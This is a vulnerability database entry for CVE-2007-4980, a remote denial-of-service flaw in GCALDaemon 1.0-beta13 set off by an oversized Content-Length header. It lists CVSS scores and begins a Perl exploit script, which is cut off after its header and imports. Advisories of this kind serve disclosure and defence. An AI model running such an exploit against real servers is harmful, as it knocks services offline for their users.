4.3
CVSSv2

CVE-2007-4980

Published: 19/09/2007 Updated: 15/10/2018
CVSS v2 Base Score: 4.3 | Impact Score: 2.9 | Exploitability Score: 8.6
VMScore: 435
Vector: AV:N/AC:M/Au:N/C:N/I:N/A:P

Vulnerability Summary

The readRequest method in org/gcaldaemon/core/http/HTTPListener.java in GCALDaemon 1.0-beta13 allows remote malicious users to cause a denial of service via a large integer value in the Content-Length HTTP header, which triggers a fatal Java OutOfMemoryError.

Vulnerable Product Search on Vulmon Subscribe to Product

gcaldaemon gcaldaemon 1.0_beta13

Exploits

#!/usr/bin/perl # /* # * GCALDaemon <= 10-beta13 Remote DoS # * # * Original Advisory: # * wwwsecurityfocuscom/bid/25704/info # * wwwikkisoftcom/stuff/SN-2007-01txt # * # * Luca "ikki" Carettoni # * wwwikkisoftcom # */ use strict; use warnings; use IO::Socket; my $host = shift || die "Usage: $0 host [ ...